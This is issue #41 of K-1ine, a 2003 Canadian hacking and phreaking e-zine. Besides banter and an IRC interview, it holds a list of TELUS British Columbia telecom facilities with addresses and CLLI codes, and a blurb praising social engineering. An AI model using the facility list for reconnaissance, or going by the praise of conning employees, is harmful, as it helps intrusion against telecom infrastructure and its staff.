Copy Link
Add to Bookmark
Report
k-1ine_41
__ _____ __ ___ _ ______ __ _ _
__ ___ / _ __ ____ _ ( )
___)\ /______ ______
_________ \ / ___ _____ ___)\ ___ __.
_____ | /_ \ | /_ / |
___\ | (/ || // _ | | _ __ __ _
_ _\\ | | _______ |:(/ ( ) | | ( ) ) \/_ \ /( )\
( ) \\| | /_ ____ ||\\ | | | | | | ) ) / ___)
\\ | //__ || \\ | | | | | | | | \ (___ __ _
\) | // || \\_ __| |__| |__| | | |_ \_______ __
| |// ____ __/ | \___ ____ _ _ _ _ _
__ ______) | (/ / __ __ )/
\ \| | / /
\ \ (\_____/ /___ _ ___ _
____ \ ) \____ _____ __ __ The Future is Friendly. Hug!!! _ _
( 41 ) | | (a.k.a. Foreplay is for Pussies)
c/a Fall 2003
_________________________________________________________________________________
» .- Random Words -. « |
*: [-] Introduction ............................................ The Clone :*
*: (-) Contact Information ..................................... The Clone :*
*: (-) Link of the Month ....................................... The Clone :*
*: (-) K-1ine Mirrors .......................................... The Clone :*
*: (-) Brand New K-1ine Banner Advertisements .................. The Clone :*
*: (-) New Nettwerked Affiliate ................................ Nettwerked :*
*: (-) Movie Trailer: "The Montréal Drunkard" .................. Kybo Ren :*
_________________________________________________________________________________
» .- Documents -. « |
*: (x) 'K-1ine Interview; Pinguino, Flippersmack Magazine' ...... Pinguino :*
*: (x) 'The Complete (TELUS) British Columbia CLLI Compilation'.. The Clone :*
*: (x) '"The CRTC Really Does Care About You" Mailout' .......... Treephrog :*
*: (x) 'The Clone writes to the CRTC' ........................... The Clone :*
*: (x) 'Social Engineering 101' ................................. Treephrog :*
*: (x) 'The Sega Dreamcast: A Plethora of Fun' .................. Diabolik :*
*: (x) 'Jackel In The Box' ...................................... Jackel :*
*: (x) 'The Northwest Edmonton Wi-Fi Scan' ...................... CS/The Clone :*
*: (x) 'The Undernet: A Grandmaster Plan' ....................... Cybersk4nk :*
*: (x) 'The New Consience' ...................................... Aestetix :*
*: (x) 'Fun with Cryptology (Part 1)' ........................... Aestetix :*
*: (x) 'Fun With Cryptology (Part 2)' ........................... Aestetix :*
*: (x) 'Fun With Cryptology (Part 3)' ........................... Aestetix :*
*: (x) 'Take a shot for every province in Canada in a row' ...... Kybo Ren :*
*: (x) 'TELUS DIGITAL LOOPBACK NUMBERS' ......................... A.P.H. :*
*: (x) 'TCP/IP VULNERABILITIES AND WEAKNESSES' .................. shaun2k2 :*
_________________________________________________________________________________
» .- Conclusion -. « |
*: [-] Credits ................................................. The Clone :*
*: [-] Shouts .................................................. The Clone :*
_________________________________________________________________________________
This is K-1ine #41, a release for the fall quarter of 2003. As you can see we've
received enough articles to almost consider it a double digest. One only hopes
we get as many articles for K-1ine #42. Enjoy the articles, learn something and
write for us. I'm always looking for new and interesting files to put in K-1ine.
I look forward to more K-1ine issues in the future. But in order to do so, people
will need to contribute their original articles to K-1ine. Because this magazine
is really all about sharing vast information on computer and telecom technologies.
But most importantly this electronic magazine gives an expressionist the ability to
share his or her unfettered insight on a wide variety of enthralling subjects. Word.
Enjoy this K-1ine issue, and be sure to send your file(s) to the e-mail address below.
(The next issue is due out either in December or January. Depending on contribution.)
>> THE CANADIAN SCENE - STRONG AS EVER - FIGHTING BACK WITH OI! <<
-`
-->
Contact Information;
Comments/Questions/Submissions: theclone@hackcanada.com
Check out my site: (Nettwerked) http://www.nettwerked.net
Check out the Web-forum: http://nettwerked.mg2.org/phpBB2/
-
-----------------------------------------------------------------------
--=[ LINK OF THE QUARTER ]=--
Every quarter I post one really great "link of the quarter" on each issue
of K-1ine magazine. The link can be anything in the technology industry,
music scene, rave scene, punk scene, or even a good article you read on
a news site. I'll be taking submissions via e-mail or IRC right away; so
get your links in and maybe you'll see it in the next issue of K-1ine!
For the fall, the link of the quarter is:
http://www.1337-online.com/badger.htm
"Badger Badger Badger, Mush-room Mush-room! Ohhhhh it's a snake!"
[submitted by: Kankraka]
--
K-1ine Mirrors:
http://www.mirrors.wiretapped.net/security/info/textfiles/k1ine/
(Now mirrored in two places, one in Belgium and another in Sydney)
"Wiretapped.net is an archive of open source software, informational
textfiles and radio/conference broadcasts covering the areas of network
and information security, network operations, host integrity, cryptography
and privacy, among others. We believe we are now the largest archive of
this type of software & information, hosting in excess of 20 gigabytes of
information mirrored from around the world."
--
http://www.hackcanada.com/canadian/zines/index.html#K-1ine
Hack Canada - Canadian H/P - E-Zines
--
http://www.to2600.org
Toronto 2600 - K-1ine Archive
--
[ K-1ine Banners ]
el nerdo (to2600.org) and Pinguino (flippersmack.com) have put their blood, sweat, and tears
into the creation of some of the best e-zine banners I've ever seen. For your K-1ine viewing
pleasure I bring you K-1ine banners. Download them, link to Nettwerked, and show your support
for the best Canadian Hacking and Phreaking 'zine around! You can also get desktop backgrounds
by visiting the following url address: [ http://www.nettwerked.net/k-1ine-images/index.html ]
el nerdo's K-1ine banners:
http://www.nettwerked.net/K-1ine_ad_2.jpg
http://www.nettwerked.net/K-1ine_ad_3.jpg
http://www.nettwerked.net/K-1ine_ad_4.jpg
http://www.nettwerked.net/K-1ine_ad_5.jpg
Pinguino's K-1ine banner:
http://www.nettwerked.net/K-1ine_ad.gif
---
[ New Nettwerked Affiliate ]
"You don't join the core, son. You get Drafted"
Nettwerked is proud to announce its latest affiliate; The Core of Social Engineers. This
site, which was created by my good friend Siviak, focuses on the biggest vulnerability of
all; humans. For decades hacker and phreaker organizations have existed, but never have I
seen a full fledged social engineering organization until now.
I look forward to The Core of Social Engineers' insight into this fascinating subject that
proves that no matter what kind of security systems your company may have in place, some
dumb employer/employee is *always* going contribute to data compromise through ignorance.
There has never been a better time than now for the con-man.
WWW.THECOREOFSOCIALENGINEERS.COM
--
[ Movie Trailer: "The Montréal Drunkard" ]
The Montréal Drunkard movie described by Kybo Ren:
Remember the last time you said "it was a good idea at the time?" Well now its my turn.
One night, some friends and i were bored. We took out the old camcorder and filmed a night
of drinking. I, Kybo, watch the footage the next day and figured "hey lets do something with
the footage" so I decided to make a video for everyone to enjoy. Here is the a sneak peek.
Next time you see me on IRC, try not laugh too hard and remember "it was a good idea at the time."
I'd like to thank my sponsor Molson for making this video a reality; Molson EX was on sale that week.
Hurray for everything!
>> WATCH THE TRAILER NOW: http://rees.no-ip.org/trailer-loq-divx.avi <<
--->
<Magma> is Phantasm from your bible group?
<Magma> oh wait, you aren't dec0de
<Magma> ZING
---
K-1ine Interview; Pinguino, Flippersmack Magazine
Interview conducted on:
Thursday, September 18, 2003
2:00am to 2:20am (MDT)
It is my pleasure to introduce you to Pinguino from Flippersmack - Popculture from a penguin perspective.
This interview was conducted via IRC (Internet Relay Chat) by The Clone of K-1ine 'zine / Nettwerked.net.
The Clone: What new projects are you working on lately?
Pinguino: Mostly I've been revamping my publishing company, Penguin Palace. For the last two years, we've
been releasing issues of an online popculture magazine called Flippersmack. In July, we came out with a
minicomic called "Pinguino and Pedestrian," and we even have a new "Tori Do" book scheduled to release
on Halloween!
--
The Clone: You're certainly involved in a lot of projects as of late. What have you recent inspirations been?
Pinguino: The person who really taught me how to refine my artwork was Todd Pluciennik. We were friends in
high school, and he was a big part of Penguin Palace. He came back to Penguin Palace about a year ago, so
being able to work on projects with him has definately been a motivating factor. Plus, I've been experimenting
with a lot of different mediums lately. Technology can be a little too structured and stifling, so it's good
to get out there and textures and feelings, for a change. For the past 2 years, I've been painting a lot, and
getting into art show. I do a lot of mixed-media art. Last winter I expanded even further into soapmaking and
candlemaking, which has a completely difference audience and texture- but all of these influences come together
in the final products you see online and offline.
--
The Clone: Many of our readers remember you from System Failure 'zine from the mid to late 1990's. All good
things eventually come to an end, and sometimes when we're lucky greater things are spawned. Do you feel System
Failure was inspiration for Flippersmack? What did SysFail teach you that helped you with Flippersmack?
Pinguino: The loss of System Failure really left a gap in my life. The group of friends that created the zine
drifted apart into other projects, so I really missed publishing. Flippersmack is really random- it delves deep
into anime, comics, movies, and culture, but it definately has an indy/dyi edge to it that most magazines and
websites don't really have anymore.
--
The Clone: You attend many art conventions. Can you tell us about any upcoming ones you're planning on attending?
Pinguino: Yeah! There's a big one on Halloween that we're going to have a table at! It's in Vegas, and it's the
first year they're doing it. But already it's being called the 3rd largest convention in the nation. I'm making
something special for it - hand-decorated chinese takeout boxes filled with cool stuff, as well as the new "Tori
Do" comic book! Tori Do is the story about the karate penguins that I started in '93. After Vegas, we'll probably
have a table at APE (Alternative Press Expo) in February, in San Fransisco, CA.
--
The Clone: People may or may not know this, but you're a founder of the Scavenger Hunt contest at Def Con. You were
a participant this year, and to no ones surprise your team won. What will your contribution to it be for Def Con 12?
Pinguino: Next year, Grifter and I are teaming up to run the Scavenger Hunt together. I learned some stuff about it
from being on both ends of the spectrum, and can definitely improve the organization of the game. Plus, I'm going to
do some custom artwork for the prizes this year, and pull together some cool stuff that you'll only get by winning the
hunt.
--
The Clone: I remember first meeting you on #ansi back around 1995. Are you still involved in the ansi scene? And if so
are you working on anything in this area?
Pinguino: I do very little with the ansi scene these days, but next month ACiD is releasing their 100th pack, and I'm
writing an article about the ansi scene from my point of view- which is basically "what dumb things did pinguino and
her friends do when they were in highschool/college and why are they obsessed with little colored blocks." It's actually
pretty cool though, because at the time, I had met more people from the scene than most, and ansi talent. So you get to
read about all that.
--
The Clone: If one of your readers decides they would like to contribute to Flippersmack either by sending you a review
or a relevant (anime, comic, movie, etc) article, how do they get in touch with you?
Pinguino: The easiest way to reach me is pinguino@flippersmack.com - we totally would love people to send submissions in!
--
The Clone: What would your advice be for anyone interested in starting their own online magazine (e-zine)?
Pinguino: Zines can really come in any sort of format or style- successful ones have a niche audience. As long as you
have quality writing and interesting subjects, starting off isn't too bad. I think that the web works as a better
delivery medium now-days than textfiles, but if you do decide to release textfiles, send them out through a mailing
list. People will forget that they liked your zine if they aren't reminded to go read it every so often.
--
The Clone: As an editor-in-chief of a free-thinking, freedom of speech advocating magazine, What are your thoughts on
the recent news of American scientists self-censoring themselves in the name of Homeland Security? And what do you
think about the new post-9/11 laws in general and how do you think they may affect electronic zines like Flippersmack,
K-1ine, Phrack, etc?
Pinguino: Right now, American law is pretty messed up. I don't think anyone will know what's legal to print and what
isn't for at least a few years, because the laws in place are so grey. Anything can be twisted into an act of terrorism.
There *are* a lot of groups fighting it though, but there's almost a witch-hunt fantacism that makes it pretty dangerous
to piss off the wrong people. I think that most publishers would try to fight, if confronted has total control of all the
rules of the game and can change them at any time.
--
The Clone: Thanks so much :)
Pinguino: no prob =) thanks for interviewing me! k-1ine rocks!
--->
<coercion> yeah well i have a chubby cola
---
The Complete (TELUS) British Columbia CLLI Compilation
Author > The Clone
Date > Thursday, September 25, 2003
Contact > Corrections? Comments? Fan-mail? --> theclone@hackcanada.com
URL > http://www.nettwerked.net/
Disclaimer > This information was aquired through legal means. Please do
not use the information contained in this file for illegal
purposes. You are responsible for what you do, and I am not.
Credits > Aftermath. Thanks for your contribution.
Dedicated > This article is dedicated to the disconnection of my phone.
As of today, Telus has disconnected my landline due to non-
payment of nearly $300.00. Goodbye Telus. Thanks for nothing.
Shouts > Hack Canada (hackcanada.com), Nettwerked (www.nettwerked.net)
everyone on the #hackcanada irc channel, and on the web-board.
Notes > Most of this data isn't available on public CLLI databases yet.
I've submitted the list to www.TelcoData.Us in hopes that it'll
be listed by the administrator of that rockin' telecom web-site.
Resources > http://www.telcodata.us/ - Source for the latest CLLI info. If
you want to look up switches by CLLI's, then this is the site
that you want to check out. One of the coolest telco resources
on the Internet right now. Best of all it's 100% free to use.
http://www.telcordia.com/ - Where CLONES, the CLLI database is
stored. Telcordia Technologies (formerly Bell Labs) created
CLONES, which maintains valid Common Language Location Ident-
ification Numbers for all North American telephone companies.
CLLI definition from page 179 of Newton's Telecom Dictionary
(2003 edition)
< -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- >
CLLI Location Types >>
Common Language Location Identification codes thoroughly
and accurately identify and characterize three types of
locations directly associated with the appropriate LEC
(Local Exchange Carrier; either incumbent or competitive).
The three types of locations relevant to CLLI's are:
* Network sites
* Network support sites
* Customer sites
The most common locations that have CLLI's assigned to them
are sites such as central office buildings or centres, end-
points, tandems, fiber nodes, junctions, manholes, poles,
and repeaters. Commonly big customers (usually re-sellers,
government agencies; law enforcement, and military) are
supplied their own unique CLLI code. This document lists
CLLI's by large organizations either than Telus / Mobility.
CLLI coding elements >>
Each CLLI code uses specific coding elements, described below:
Coding element Description Example
1-Geographical Typically assigned to cities, towns, DNVR=Denver
international airports, military posts,
or other specific geographical points.
Typically characters 1-4 in CLLI.
2-Geopolitical Typically a country, state, province, or CO=Colorado
other differentiator that, combined with
the geographical code, forms a location
identifier that is unique worldwide.
Typically characters 5-6 in CLLI.
3-Network site This element is used with geographical 56=C.O. Elm St.
and geopolitical codes to represent
buildings, structures, enclosures or
other locations at which there is a
need to identify and describe one or
more functional entities. Examples of
network sites include central offices,
relay buildings, controlled vaults, etc.
Typically characters 7-8 in CLLI.
4-Network-entity Used with geographical, geopolitical, DS0=Digital switch
and network-site codes to identify and
describe categories of equipment, func-
tions of a particular group at a parti-
cular location, or type of maintenance
center at a given location. Typically
characters 9-11 in CLLI.
5-Network support Used with geographical and geopolitical P1234=Telephone pole
codes to identify and describe the loca-
tion of international boundaries or
crossing points, end-points, fiber nodes,
cable and facility junctions, manholes,
poles, radio-equipment sites, repeaters
and toll stations. Typically characters
7-11 in CLLI.
6-Customer This element can be used with geographical 1A101 = A customer
and geo-political codes to identify and
describe customer locations associated
with switched-service networks, centrex
installations, PBX equipment, military
installations, university and hospital
phone centers, etc. Typically characters
7-11 in CLLI.
<------------------------------------------------------------------------------------>
LOWER MAINLAND: ADDRESS: CLLI CODE:
Abbotsford C.O 33905 Essendene Ave. V2S 2H7 ABFDBC01
Construction 34474 Marshall Rd. V2S 5A5 ABFDBCMA
I&R 1648 Salton Rd. V2S 4N2 ABFDBCSAA92
Aldergrove C.O. 27172 Fraser Hwy. V5W 3P7 ARGVBC01
I&R 27172 Fraser Hwy. V5W 3P7 ARGVBC01
Advanced Communications 2200 - 4720 Kingsway. V5H 4N2 BNBYBC9I150
Alpine C.O. 624 Victoria Dr. V5L 4E4 VANCBC03
Amherst C.O. 2008 W 41st Ave. V6M 1Y8 VANCBC04
Ash (Computer Centre) 600 W 7th. V5Z 1B5 VANCBCAS
Bainbridge Bldg. 2939 Bainbridge Ave. V5A 2S9 BNBYBCBB
BC TEL Bldg (H.Q) 3777 Kingsway. V5H 3Z7 BNBYBCHQ
BC TEL Mobility Cell 4519 Canada Way. V5G 4S4 BNBYBCDW
BC TEL Mobility Paging 4519 Canada Way. V5G 4S4 BNBYBC1B007
BC TEL Reservation / Flight Operations 4360 Agar Dr. V7B 1A3 RCMDBCAR
BC TEL Supply 6969 - 10th Ave. V3N 2R4 BNBYBCST
BC TEL Trailer 2560 Boundary Rd. V5M 3Z3 BNBYBCIT005
BCD Special Services Plan Centre 1267 Richards St. V3M 3Z3 VANCBCRC
Beachgrove c.O. 1128-56th St. V4L 2A3 DELTBC02
Brackendale C.O. 1949 Cheakamus Way. V0N 1H0 BKDLBC01
Canadian Facts 1130 W Pender. V6E 4A4 VANCBC1C016
Canwest Directory Distributors 7966 Winston St. V5A 2H5 BNBYBC1C003
Castle C.O. 2608 Tolmie St. V6R 4C5 VANCBC02
Chilliwack C.O. 46037 W Yale Rd. V2P 2M1 CLWKBC01
I&R 46167-Fifth Ave. V2P 1M8 CLWKBCFI
Cloverdale C.O. 5623-176th St. V3S 4C4 SRRYBC03
CT&S 1-4535 Canada Way. V5G 1J9 BNBYBCDX
Cypress C.O. 1001 Delta Ave. V5B 3C9 BNBYBC01
Deep Dove C.O. 3535 Mt Seymour Pkwy. V7H 1G4 NVCRBC02
Dominion Directory 4260 Still Ck Dr. V5C 6C6 BNBYBCDD
Education Development Centre 1795 Willingdon Ave. V5C 5J2 BNBYBCTA
Facs Records Centre Inc. 1701 Powell. V5L 1H6 VANCBC1F013
Fairfax C.O. 6486 Chester St. V5W 3C3 VANCBC05
Fort Langley C.O. 21585 - 88th Ave. V3A 8E8 FTLYBC01
Gibsons C.O. Hillcrest & North Rd. V0N 1V0 GBSNBC01
Haney C.O. 11778 - 224 St. V2V 4H9 HANYBC01
Radio 10880 - 256 St. V2W 1K5 HANYBCRT
Hemlock C.O. 3696 Kingsway. V5R 2T4 VANCBC06
I&R 3855 Wayburne Dr. V5G 3L1 BNBYBCWAA92
Joint Venture 2-840 Howe St. V6Z 2L2 VANCBCJV
Ladner C.O. 4827 Elliott St. V4K 2X7 DELTBC01
I&R 7573 Progress Way. V4G 1E8 DELTBCNS
Lake City C.O. 2671 Lake City Way. V5A 2Z6 BNBYBC02
Langley C.O. 5500 - 204th St. V3A 1Z3 LNGLBC01
I&R 20369 Langley Bypass. V3A 5E8 LNGLBCIR
Warehouse 9385 - 200th St. V1M 3A7 LNGLBCAC
Lougheed Hwy. Business Building 7000 Lougheed Hwy. V5A 1W2 BNBYBCLH
Lower Mainlands Operations 7018 Lougheed Hwy. V5A 1W2 BNBYBCFR
Marpole I&R 8797 Barnard St. V6P 5G6 VANCBCAC
Medical Services Association 2025 W Broadway. V6J 1Z6 VANCBC1M007
Microtel Limited 2441 United Blvd. V3K 6A8 CQTLBC1M001
MPR Teltech Ltd. 8999 Nelson Way. V5A 4B5 BNBYBC9I002
Mission C.O. 33067 - 2nd Ave. V2V 1J7 MSSNBC01
Mutual C.O. 768 Seymour. V6B 3K9 VANCBC01
I&R 614 W Pender. V6A 1V8 VANCBCPE
New Westminster C.O. 611 - 6th St. V3L 3C1 NWMRBC01
Newton C.O. 7191 - 128th St. V3W 4E3 SRRYBC02
Nortel 150-13575 Commerce Pkwy. V6V 2L1 RCMDBC2T063
North Vancouver C.O. 150 E 8th St. V5T 2C1 NVCRBC01
North Vancouver I&R 147 E 11th St. V7L 1Y7 NVCRBCEEA92
Construction 310 Brooksbank. V7J 2C1 NVCRBCC0
Pachena 1395 Boundary. V5K 4T9 VANCBC1P006
Pacific Blue Cross 4250 Canada Way. V5G 4W6 BNBYBCCN
Pender Harbor C.O. Maderia Park Rd. V0N 2H0 PNHRBC01
---------------------------------------------------------------------------------------
PHONE MARTS: ADDRESS: CLLI CODE:
Capilano Mall 20 - 935 Marine Dr. V7P 1S3 NVCRBCPM
Chilliwack 46037 Yale Rd. V2P 2M1 CLWKBC01
City Square 19A - 555 W 12th Ave. V5Z 3X7 VANCBCCSN00
Coquitlam Centre 2130 - 2929 Barnet Hwy. V3B 5R5 CQTLBC2G039
Eaton Centre 1111 - 4700 Kingsway. V5H 4M1 BNBYBC1P010
Guildford 1122 Guildford Twn Ctr. V3R 7B7 SRRYBC1P006
Langley / Willowbrook 309 - 19705 Fraser Hwy. V3A 7E9 LNGLBCPM
Maple Ridge 250 - 22529 Lougheed Hwy. V2X 0L5 MPRGBCPM
New Westminster 611 - 6th St. V3L 3C1 NWMRBCPM
Oakridge 129 - 650 W 41St. V5Z 2M9 VANCBCPPA01
Richmond Centre 31 - 6551 No. 3 Rd. V6Y 2B6 RCMDBC1R010
Scottsdale 7111 - 120th St. V4E 2A9 DELTBC1P002
Seven Oaks 139 - 32900 S Fraser Way. V2S 5A1 ABFDBC1S005
Seymour Street 1 D - 768 Seymour. V6B 3K9 VANCBC01
Pitt Meadows C.O. 12439 Harris Rd. V3Y 2J4 PTMSBC01
Port Moody C.O. 701 Blue Mountin St. Coq. V3J 4S1 CQTLBC01
Portable Communications Division 4519 Canada Way. V5G 4S4 BNBYBCDW
Prism Systems, Inc. 7025 Greenwood St. V5A 1X7 BNBYBC1L002
Radio/Ntwk Oprns 2758 Norland Ave. V5B 3A6 BNBYBCBP
Raymur Construction 730 Raymur Ave. V6A 3L2 VANCBCCO
Regent C.O. 2212 W 10th Ave. V6K 2H8 VANCBC07
I&R 2065 W 12th Ave. V6J 2G3 VANCBCTW
Richmond C.O. 3911 No 3 Rd. V6X 2B8 RCMDBC01
I&R 12491 Horseshoe Way. V7A 4X6 RCMDBC04
Construction 12720 Rowan PI. V6V 2K5 RCMDBC05
BC TEL Lockup 3911 No. 3 Rd. V6X 2B8 RCMOBCIL004
Sardis C.O. 6570 Vedder Rd. V2R 1C8 SRDSBC01
Sechelt C.O. 5536 Inlet Dr. V0N 3A0 SCHLBC01
Customer Service / Plant Centre 4355 Solar Rd. V0N 3A0 SCHLBCCS
SRI Strategic Resources 1920 - 4720 Kingsway. V5H 4N2 BNBYBCIS005
Stentor 3001 Wayburne Dr. V5G 4W1 BNBYBCCL
Steveston C.O. 10011 No 2 Rd. V7E 2E4 RCMDBC02
Sullivan Station 15079 - 64th Ave. V3S 1X9 SRRYBCCS
Surrey I&R 2289 King George Hwy. V4A 5A4 SRRYBCIR
Telecom Leasing 700 - 5945 Kathleen Ave. V5H 4J7 BNBYBCTL
Trinity c.O. 380 E 10th Ave. V5T 1Z7 VANCBC08
BC TEL Lockup Basement 380 E 10th Ave. V5T 1Z7 VANCBCIL011
TWU 5261 Lane St. V5H 2H4 BNBYBC1T002
Van Tel Credit Union 6632 Royal Oak Ave. v5H 3P5 BNBYBCCU
Viscount Industries 105 E 69th Ave. V5X 2W9 VANCBC1V003
Warehouse 2560 Boundary Rd. V5M 3Z3 BNBYBCMS
Wayburne I&R 3855 Wayburne Dr. V5G 3L1 BNBYBCWAA92
Welwyn/Trinity I&R 3704 Welwyn. V5N 3Y9 VANCBCWEA92
West Vancouver C.O. 1651 Inglewood Ave. V7V 1Y8 WVCRBC01
Westview C.O. 6930 Duncan St. V8A 1V6 PWRVBC01
Westwood C.O. 2990 Gordon Ave. V3C 4S7 PTCMBC02
Whalley C.O. 13670 - 105th Ave. V3T 2B3 SRRYBC01
Whalley Repair 3 Fl. 13401 - 108th Ave. V3T 5T4 SRRYBCIB007
Whistler C.O. 7200 Lorimer. V0N 1B0 WSLRBC01
White Rock C.O. 14780 North Bluff. V4B 3E1 WHRKBC01
I&R 2289 King George Hwy. V4A 5A4 SRRYBCIR
Whonnock C.O. 27121 - 104th Ave. V2X 8X8 WHNKBC01
Whytecliff C.O. 6085 Marine Dr. V7W 2S1 WVCRBC02
William Farrell Bldg 768 Seymour. V6B 3K9 VANCBC01
Willingdon Green Tower I 4519 Canada Way. V5G 4S4 BNBYBCDW
Willingdon Green Tower II 4535 Canada Way. V5G 1J9 BNBYBCDX
Willis Corroon Melling Ltd. 5581 - 204st St. V3A 1Z4 LNGLBC1H001
---------------------------------------------------------------------------------------
INTERIOR SOUTH: ADDRESS: CLLI CODE:
Cache Creek C.O. 1094 Collins Rd. V0K 1H0 CACKBC01
Castlegar C.O. 1115 - 4th St. V1N 2A8 CLGRBC01
Castlegar Plant 2229 - 14th Ave. V1N 6M2 CLGRBCPC
Cranbrook C.O. 45 - 12th Ave. V1C 2R9 CRBKBC01
Creston C.O. 124 - 12th Ave. V0B 1G0 CETNBC01
Elkford C.O. 9 Water. V0B 1H0 EKFRBC01
Fernie C.O. 602 - 3rd Ave. V0B 1M0 FERNBC01
Golden C.O. 1101 S 11th Ave. V0A 1H0 GLDNBC01
Grand Forks C.O. 7487 - 3rd St. V0H 1H0 GDFRBC01
Invermere C.O. 402 - 7th Ave. V0A 1K0 IVMRBC01
Kamloops C.O. North 922 Tranquille Rd. V2B 3J5 KMLPBC02
Kamloops C.O. South 300 St. Paul St. V2C 5R8 KLMPBC01
PhoneMart 300 St. Paul St. V2C 5R8 KMLPBC01
Kelowna C.O. 1405 St. Paul. V1Y 2E4 KLWNBC01
Dilworth C.O. 1500 Hardy ST. V1Y 8H2 KLWNBC02
Fleet 123 Penno Rd. V1X 6S1 KLWNBCGA
H.Q. 1500 Hardy St. V1Y 8H2 KLWNBC02
Phonemart / Orchard Pk 1256 - 2271 Harvey Ave. V1Y 6H2 KLWNBC1O001
W & D 2450 Acland Rd. V1X 6N6 KLWNBCWD
Kimberly C.O. 1765 Warren Ave. V1A 1R7 KLBYBC01
Lillooet C.O. 965 Main. V0K 1V0 LLOTBC01
Merritt C.O. 2052 Granite Ave. V0K 2B0 MRRTBC01
Nelson C.O. 579 Stanley St. V1L 5Y5 NLSNBC01
PhoneMart 579 Stanley St. V1L 5Y5 NLSNBC01
Oliver C.O. 4th St. V0H 1T0 OLVRBC01
Penticton C.O. 188 Calgary Ave. V2A 2T6 PNTNBC02
PhoneMart/Plaza 701 - 1301 Main St. V2A 5E9 PNTNBCPM
Princeton C.O. 88 Billiter St. V0X 1W0 PRTNBC01
Revelstoke C.O. 200 - 2nd St. V0E 2S0 RVSTBC01
Salmon Arm C.O. 71 Hudson St. V0E 2T0 SLAMBC01
Sparwood C.O. 128 Spruce Ave. V0B 2G0 SPWDBC01
Trail C.O. 840 Spokane St. V1R 3W5 TRALBC01
Valleyview C.O. 1875 E Trans Canada Hwy. V2C 3Z8 KMLPBC16
Vernon C.O. 3205 Coldstream Ave. V1T 6N1 VERNBC01
PhoneMart 3205 Coldstream Ave. V1T 6N1 VERNBC01
Westbank C.O. Hwy #97 S. V0H 2A0 WTBKBC01
---------------------------------------------------------------------------------------
ISLAND: ADDRESS: CLLI CODE:
Albion C.O. 1805 Feltham Rd. V8N 2A4 VCTABC04
Belmont C.O. 2233 Sooke Rd (Colwood). V9B 1X2 BCTABC05
Campbell River C.O. 1385 16th Ave. V9W 2C9 CBRVBC01
PhoneMart 1385 16th Ave. V9W 2c9 CBRVBC01
Colquitz C.O. 507 Judah St. V8Z 2J8 VCTABC06
Courtenay C.O. 785 Cliffe Ave. V9N 2J6 CRTYBC01
PhoneMart 785 Cliffe Ave. V9N 2J6 CRTYBC01
Duncan C.O. 148 Ingram St. V9L 1P2 DNCNBC01
Ganges C.O. 315 Lower Ganges Rd. V8K 2V4 GNGSBC01
Gulf Islands C.O. 406 Georgina Pt. Rd. V0N 2J0 MYISBC01
Holberg C.O. CFB Holberg V0N 1Z0 HLBCBC01
Kingcome Inlet C.O. Kingcome. V0N 2B0 KGINBC01
Namu C.O. Namu. V0P 1R0 NAMUBC01
Nanaimo C.O. 400 Fitzwilliam St. V9R 3A8 NNIMBC01
PhoneMart 152 - 4750 Rutherford Rd. V9T 4K6 NNIMBCPM
Plant 3301 Shenton Rd. V9T 4H4 NNIMBCPC
Oak Bay C.O. 1908 Foul Bay Rd. V8R 5A7 VCTABC03
Port Alberni C.O. 4058 - 6th Ave. V9Y 4M8 PTAIBC01
Port Hardy C.O. Coal Harbour Rd. V0N 2P0 PTHYBC01
Sidney C.O. 2340 Beacon Ave. V8L 1X3 SDNYBC01
Sooke C.O. 6683 Sooke Rd. V0S 1N0 SOKEBC01
Victoria C.O. 826 Yates St. V8W 2H9 VCTABC01
Headquarters 3980 Quadra St. V8X 1J9 VCTABCQD
PhoneMart 826 Yates St. V8W 2H9 VCTABC01
PhoneMart 91 - 1644 Hillside Ave. V8T 2C5 VCTABCPM
Wellington C.O. 3800 Departure Bay Rd. V9T 4Y7 NNIMBC03
---------------------------------------------------------------------------------------
INTERIOR NORTH: ADDRESS: CLLI CODE:
Burns Lake C.O. 724 Centre St. V0J 1E0 BULKBC01
CBC Building 1268 - 5th Ave. V2L 3L2 PGRGBCCB
Chetwynd C.O. 49th St & Hwy 97. V0C 1J0 CTWDBC01
Dawson Creek C.O. 1212 - 102nd Ave. V1G 2C4 DWCKBC01
Fort St.John C.O. 10140 - 100th St. V1J 3Y7 FSJNBC01
PhoneMart 10140 - 100th St. V1J 3Y7 FSJNBC01
Kitimat C.O. 1110 Kingfisher ave. V8C 1G3 KTMTBC01
McBride C.O. 3rd Ave. V0J 2E0 MBRDBC01
Mackenzie C.O. 65 Centennial Dr. V0J 2C0 MCKNBC01
100 Mile House C.O. 4th St. V0K 2E0 OHMHBC01
Prince George C.O. 1340 - 6th Ave. V2L 5E5 PGRGBC01
H.Q. 2100 Ferry Ave. V2L 4R5 PGRGBCHQ
PhoneMart 1340 - 6th Ave. V2L 3N1 PGRGBCPM
Prince Rupert C.O. 242 3rd Ave. V8J 1L1 PRRTBC01
Queen Charlotte City 4702 Highway 33. V0T 1S0 QCCYBC01
Quesnel C.O. 347 Kinchant St. V2J 2R5 QSNLBC01
Smithers C.O. 3835 4th Ave. V0J 2N0 SMTRBC01
CT&S 127 Main St. V0J 2N0 SMTRBCCT
PhoneMart 3835 - 4th Ave. V0J 2N0 SMTRBC01
Terrace C.O. 4532 Lazelle Ave. V8G 1S2 TRRCBC02
PhoneMart 3236 Kalum St. V8G 2N5 TRRCBCPM
Plant Centre 5215 Keith Ave. V8G 1L2 TRRCBCKE
Tumbler Ridge C.O. 440 Pioneer Loop. V0C 2W0 TMRGBC01
Valemount C.O. 6th Ave & Dogwood S. V0E 2Z0 VLMTBC01
Vanderhoof C.O. Stewart & Lampitt Ave. V0J 3A0 VRHFBC01
Williams Lake C.O. 28 S 3rd Ave. V2J 1H9 WLLKBC01
PhoneMart 28 S 3rd Ave. V2J 1H9 WLLKBC01
---------------------------------------------------------------------------------------
OTTAWA: ADDRESS: CLLI CODE:
Government Relations 1204 - 155 Queen St. K1P 6L1 OTWAONAHA01
Stentor Canada (Courier Service) 235 - 160 Elgin St. K2P 2C4 OTWAONBC
Stentor Canada (Courier Service) 410 Laurier Ave W Drop 420. K1P 6H5 OTWAONTC
.eof
A
N E T T W E R K E D
P R O D U C T
[ 2003 ]
---
<rt> I cuss, you cuss, we all cuss for asparagus
<theclone> hahaha
<wizbone> heh
<rt> I mean, damn, it's good asparagus.
---
"The CRTC Really Does Care About You" Mailout
by Treephrog
08/01/03
Questions, comments and whatnot: treephrog@verbaltheory.net
Flames and general idiocy: me@yamamashouse.org
Shouts: greasy, theclone, wizbone, cyb0rgasm, the_p0pe, tek, cybersk4nk,
Hack Canada all its affiliates, and the whole #hackcanada crew...
